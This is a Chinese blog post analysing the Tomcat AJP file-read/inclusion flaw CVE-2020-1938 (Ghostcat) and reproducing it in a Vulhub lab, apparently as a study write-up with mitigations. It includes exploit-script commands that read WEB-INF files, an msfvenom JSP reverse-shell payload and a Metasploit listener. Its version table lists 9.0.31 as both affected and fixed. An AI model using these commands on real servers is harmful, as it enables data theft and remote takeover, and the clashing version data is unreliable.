CVE-2020-1938源码分析与漏洞复现(Tomcat 文件包含/读取)

漏洞概述

漏洞名称:Tomcat AJP协议文件包含/读取漏洞(Ghostcat)
CVE 编号:CVE-2020-1938
CVSS 评分:9.8
影响版本

  • Apache Tomcat 6.x (≤ 6.0.53)
  • Apache Tomcat 7.x (≤ 7.0.99)
  • Apache Tomcat 8.x (≤ 8.5.51)
  • Apache Tomcat 9.x (≤ 9.0.31)
    修复版本:≥ 7.0.100 / 8.5.52 / 9.0.31
    漏洞类型:文件包含/读取 → 可导致远程代码执行(RCE)
    根本原因:Tomcat AJP协议处理器未对请求路径做安全校验,攻击者通过构造恶意AJP请求可读取Web目录任意文件(含WEB-INF敏感文件),结合文件上传可执行任意代码。

漏洞原理与源码分析

1. 漏洞触发条件

  • 开启AJP服务:默认监听8009端口(conf/server.xml<Connector port="8009" protocol="AJP/1.3" />)。
  • 攻击可达性:攻击者需访问AJP端口(常暴露于内网,但公网容器可能误配置暴露)。

2. 关键源码定位

(1)AJP请求处理入口:AjpProcessor#process
代码路径org.apache.coyote.ajp.AjpProcessor

public SocketState process(SocketWrapper<Socket> socket)throws IOException {...prepareRequest(); // 解析AJP请求头..adapter.service(request, response); // 转发请求...}

漏洞点:未校验request_uriattributes的合法性,允许构造恶意路径。

(2)请求路由逻辑:CoyoteAdapter#service
代码路径org.apache.catalina.connector.CoyoteAdapter

public void service(org.apache.coyote.Request req, org.apache.coyote.Response res) {...connector.getService().getContainer().getPipeline().getFirst().invoke(request, response); // 进入容器处理链...
}

(3)文件读取漏洞点:DefaultServlet#doGet
代码路径org.apache.catalina.servlets.DefaultServlet

 @Overrideprotected void doPost(HttpServletRequest request,HttpServletResponse response)throws IOException, ServletException {doGet(request, response);}
protected void serveResource(HttpServletRequest request,HttpServletResponse response,boolean content)throws IOException, ServletException {String path = getRelativePath(request);// 获取请求路径(可被恶意构造)...if (path.endsWith("/") || (path.endsWith("\\"))) {String requestUri = (String) request.getAttribute(RequestDispatcher.INCLUDE_REQUEST_URI);if (requestUri == null) {requestUri = request.getRequestURI();}response.sendError(HttpServletResponse.SC_NOT_FOUND,requestUri);return;// 目录请求跳过}...// 关键:直接读取文件并返回内容(无路径校验)InputStream renderResult = null;if (cacheEntry.context != null) {if (serveContent) {          renderResult = render(getPathPrefix(request), cacheEntry);}}if (serveContent) {try {response.setBufferSize(output);} catch (IllegalStateException e) {}if (ostream != null) {if (!checkSendfile(request, response, cacheEntry, contentLength, null))copy(cacheEntry, renderResult, ostream);} else {copy(cacheEntry, renderResult, writer);}}

漏洞利用:通过AJP协议传递javax.servlet.include.path_info属性,可绕过路径限制访问WEB-INF目录。

3. 敏感文件读取机制

Tomcat安全限制:

  • 浏览器直接请求/WEB-INF/web.xml → 返回404错误(受conf/web.xml<servlet-mapping>保护)。
  • AJP协议绕过原理
    构造attributes
    {  javax.servlet.include.path_info: "/WEB-INF/web.xml",  javax.servlet.include.servlet_path: "/"  
    }  
    
    使DefaultServlet/WEB-INF/web.xml识别为合法路径,从而读取敏感文件。

漏洞利用方式

1. 攻击流程

攻击者 AJP端口(8009) AJP处理器 CoyoteAdapter DefaultServlet 文件系统 发送恶意AJP请求 解析请求 路由请求 读取WEB-INF/web.xml 返回敏感文件内容 攻击者 AJP端口(8009) AJP处理器 CoyoteAdapter DefaultServlet 文件系统

2. 两种利用场景

利用类型Payload示例影响
敏感文件读取读取WEB-INF/web.xml获取数据库密码信息泄露、权限提升
远程代码执行结合文件上传漏洞+文件包含执行JSP WebShell服务器完全沦陷

3. 利用工具与步骤

(1).使用 Vulhub 环境启动漏洞靶机
docker-compose up -d

在这里插入图片描述

(2)访问 http://target:8080,确认服务正常运行

在这里插入图片描述

(3)下载漏洞利用工具
(4)读取敏感文件
  • 用python2执行工具中的Tomcat-ROOT路径下文件读取(CVE-2020-1938).py
python Tomcat-ROOT路径下文件读取(CVE-2020-1938).py -p 8009 -f /WEB-INF/web.xml 192.168.1.100
//换为自己靶场的ip

在这里插入图片描述

  • 读取到敏感文件
    (5)下面模拟结合文件上传,实现反弹shell
  • kail生成payload
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.102 LPORT=6666 -f raw > shell.txt

在这里插入图片描述

(6)由于是模拟文件上传,所以这里直接将shell.txt,复制到靶机容器中
docker cp shell.txt 容器id:/usr/local/tomcat/webapps/ROOT/WEB-INF/

在这里插入图片描述

(7)kali开启监听
msfconsole
use exploit/multi/handler
set payload java/jsp_shell_reverse_tcp
set lhost 192.168.31.150 # kali的IP
set lport 4444 # 监听端口
run

在这里插入图片描述

(8)利用之前的工具包含shell.txt
python 'Tomcat-ROOT路径下文件包含(CVE-2020-1938).py' -p 8009 -f /WEB-INF/shell.txt 192.168.1.100
(9)成功getshell

在这里插入图片描述


影响范围与修复方案

1. 受影响版本

Tomcat 分支受影响版本安全版本
6.x≤ 6.0.53无官方修复(EOL)
7.x≤ 7.0.99≥ 7.0.100
8.x≤ 8.5.51≥ 8.5.52
9.x≤ 9.0.31≥ 9.0.31

2. 官方修复方案

  • 补丁提交:修订记录
  • 修复逻辑
    1. 禁用javax.servlet.include.*属性(AjpProcessor):
      // 检查并拒绝包含敏感属性
      if (request.getAttribute(Globals.REQUEST_DISPATCHER_PATH_ATTR) != null) {response.setStatus(403); // 直接返回403禁止return;
      }  
      
    2. 增加requiredSecret认证(强制AJP连接配置密码)。

3. 临时缓解措施

  1. 关闭AJP服务
    <!-- conf/server.xml -->  
    <!-- 注释AJP Connector -->  
    <!-- <Connector port="8009" protocol="AJP/1.3" redirectPort="8443" /> -->  
    
  2. 网络隔离
    • 防火墙限制8009端口仅允许可信IP访问。
  3. 升级中间件
    • 使用Nginx反向代理并过滤恶意请求。

漏洞启示

  1. 最小化暴露:非必要网络服务(如AJP)应默认关闭。
  2. 协议安全性:二进制协议需严格校验属性合法性。
  3. 纵深防御:敏感目录(WEB-INF)的访问控制需在多层实现(容器/代码/网络)。

参考链接

  1. CVE-2020-1938 官方通告(Apache Tomcat)
  2. 漏洞原理深度解析(长亭科技)
  3. 源码分析与补丁解读(知乎专栏)
  4. Tomcat CVE-2020-1938 漏洞复现和利用过程(csdn)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.pswp.cn/diannao/86972.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于51单片机的简易打铃系统

目录 具体实现功能 设计介绍 资料内容 全部内容 资料获取 具体实现功能 具体功能&#xff1a; &#xff08;1&#xff09;实时显示当前时间&#xff08;时、分、秒&#xff09;&#xff0c;LED模式指示灯亮&#xff1b;4个按键可以调整时间的时和分。 &#xff08;2&…

vue+cesium示例:3D热力图(附源码下载)

接到一位知识星友的邀请&#xff0c;随机模拟三维数据点&#xff0c;结合heatmap.js实现基于cesiumvue的3D热力图需求&#xff0c;适合学习Cesium与前端框架结合开发3D可视化项目。 demo源码运行环境以及配置 运行环境&#xff1a;依赖Node安装环境&#xff0c;demo本地Node版本…

批处理实现:自动抓取perfetto日志 自动导出到当前文件夹 自动打开分析页面

序言 最近在研究性能问题需要抓取trace文件。于是写了个脚本 使用 双击运行批处理文件&#xff0c;可以开始记录trace。而且以当前文件夹下面的。config.pbtx 作为配置文件。 &#xff08;pbtx就是一个json文件。配置了需要抓取那些参数&#xff0c;可以通过https://ui.per…

未来机器人的大脑:如何用神经网络模拟器实现更智能的决策?

编辑&#xff1a;陈萍萍的公主一点人工一点智能 未来机器人的大脑&#xff1a;如何用神经网络模拟器实现更智能的决策&#xff1f;RWM通过双自回归机制有效解决了复合误差、部分可观测性和随机动力学等关键挑战&#xff0c;在不依赖领域特定归纳偏见的条件下实现了卓越的预测准…

​​Promise代码理解

1.事件循环与 Promise 执行顺序 案例 1&#xff1a;基础 Promise 同步异步区分 console.log(1); new Promise(resolve > {console.log(2);resolve();console.log(3); }).then(() > console.log(4)); console.log(5); 输出顺序&#xff1a;1&#xff0c;2&#xff0c;3…

57、原生组件注入-【源码分析】DispatcherServlet注入原理

57、原生组件注入DispatcherServlet注入原理 #### 继承关系 - DispatcherServlet继承自FrameworkServlet&#xff0c;而FrameworkServlet继承自HttpServletBean&#xff0c;最终HttpServletBean继承自HttpServlet。 - DispatcherServlet实现了ApplicationContextAware接口。 …

【动手学深度学习】3.5. 图像分类数据集

目录 3.5. 图像分类数据集1&#xff09;读取数据集2&#xff09;读取小批量3&#xff09;整合所有组件4&#xff09;小结 . 3.5. 图像分类数据集 我们将使用Fashion-MNIST数据集&#xff0c;作为图像分类数据集。 %matplotlib inline import torch import torchvision from …

Python的格式化输入输出

# Python 的格式化输出和格式化输入## 格式化输出Python 提供了多种字符串格式化的方法&#xff1a;### 1. % 格式化&#xff08;旧式格式化&#xff09;python name "Alice" age 25 print("Name: %s, Age: %d" % (name, age)) # 输出: Name: Alice, Age…

day65—回溯—单词搜索(LeetCode-79)

题目描述 给定一个 m x n 二维字符网格 board 和一个字符串单词 word 。如果 word 存在于网格中&#xff0c;返回 true &#xff1b;否则&#xff0c;返回 false 。 单词必须按照字母顺序&#xff0c;通过相邻的单元格内的字母构成&#xff0c;其中“相邻”单元格是那些水平相…

iOS安全和逆向系列教程 第19篇:ARM64汇编语言基础与逆向分析

引言 在成功掌握iOS应用脱壳技术后,我们获得了可以进行静态分析的二进制文件。然而,要真正理解iOS应用的底层逻辑,我们必须深入到汇编语言层面。ARM64(也称为AArch64)是苹果在iPhone 5s及以后设备中使用的指令集架构。本篇文章将深入探讨ARM64汇编语言的基础知识,并结合…

使用Gitlab CI/CD结合docker容器实现自动化部署

Gitlab CI/CD基本介绍 核心概念 持续集成&#xff08;CI&#xff09;&#xff1a;每次代码提交后自动触发构建、测试和代码检查&#xff0c;确保代码质量 持续交付/部署&#xff08;CD&#xff09;&#xff1a;在 CI 基础上自动将代码部署到测试或生产环境&#xff0c;支持人工…

初学者运行Pycharm程序可能会出现的问题,及解决办法

文章目录 前言一、ModuleNotFoundError: No module named sklearn二、ImportError: cannot import name show_config from numpy (unknown location)三、Pycharm报错&#xff1a;“Original error was: DLL load failed: 找不到指定的模块“ 的解决办法四、ImportError: cannot…

Android开发中的Java与Kotlin:全面对比与深度解析

Android开发中的Java与Kotlin&#xff1a;全面对比与深度解析 在Android开发领域&#xff0c;Java和Kotlin是两种主流编程语言。自Google在2017年宣布Kotlin为Android官方支持语言以来&#xff0c;Kotlin凭借其现代语法特性和与Java的无缝兼容性&#xff0c;逐渐成为开发者的新…

为应对激烈竞争环境,IBMS系统如何提升企业管理效率

IBMS智能管理系统&#xff1a;赋能企业高效运营&#xff0c;决胜竞争新时代 在瞬息万变的商业环境中&#xff0c;效率就是竞争力&#xff01;企业如何快速响应市场变化、优化内部流程、降低成本并实现精准决策&#xff1f;IBMS智能管理系统以创新科技为引擎&#xff0c;为企业…

2.3 ASPICE的架构与设计

在ASPICE中&#xff0c;架构与设计是汽车软件开发过程中非常重要的一环&#xff0c;它涉及到定义和设计软件系统的整体结构、组件以及其相互关系。良好的架构与设计可以帮助团队更好地理解和管理软件系统&#xff0c;提高系统的可维护性、可扩展性和性能。以下是ASPICE中架构与…

生益PCB耐高温PCB板材怎么样?

在5G基站昼夜不停地吞吐数据时&#xff0c;在新能源汽车电池管理系统经受极寒酷暑考验时&#xff0c;在航空航天器穿越大气层承受2000℃热浪冲击时&#xff0c;一块优质PCB板材的“抗热基因”正在决定着整个系统的生死存亡。生益科技研发的耐高温PCB板材&#xff0c;正是在这场…

Java Spring ApplicationEvent 概述

一、Spring 事件机制核心概念 1. 事件驱动架构模型 发布-订阅模式&#xff1a;解耦事件生产者和消费者观察者模式&#xff1a;监听器监听特定事件事件驱动优势&#xff1a; 组件间松耦合系统扩展性好支持异步处理事件溯源支持 2. 核心组件 组件作用实现方式ApplicationEve…

Spring核心框架完全指南 - 基础知识全解析

📖 目录 🌟 Spring框架简介 🏗️ IoC容器详解 💉 依赖注入(DI)深入理解 ⚙️ Bean配置与管理 🎯 Bean的作用域 🔄 Bean生命周期 🎭 面向切面编程(AOP) 📝 Spring注解详解 📁 资源管理 📢 事件机制 🔤 SpEL表达式语言 🎯 实战案例 📚 总…

Parasoft C++Test软件集成测试(部件测试)_操作指南

系列文章目录 Parasoft C++Test软件静态分析:操作指南(编码规范、质量度量)、常见问题及处理 Parasoft C++Test软件单元测试:操作指南、实例讲解、常见问题及处理 Parasoft C++Test软件集成测试:操作指南、实例讲解、常见问题及处理 进阶扩展:自动生成静态分析文档、自动…

聊一聊 Linux 上对函数进行 hook 的两种方式

一&#xff1a;背景 1. 讲故事 前两篇我们介绍了 Minhook 在 Windows 平台上的强大功效&#xff0c;这一篇我们来聊一聊如何在 Linux 上对函数进行hook&#xff0c;这里介绍两种方式。 轻量级的 LD_PRELOAD 拦截 LD_PRELOAD是一种共享库拦截&#xff0c;这种方式的优点在于…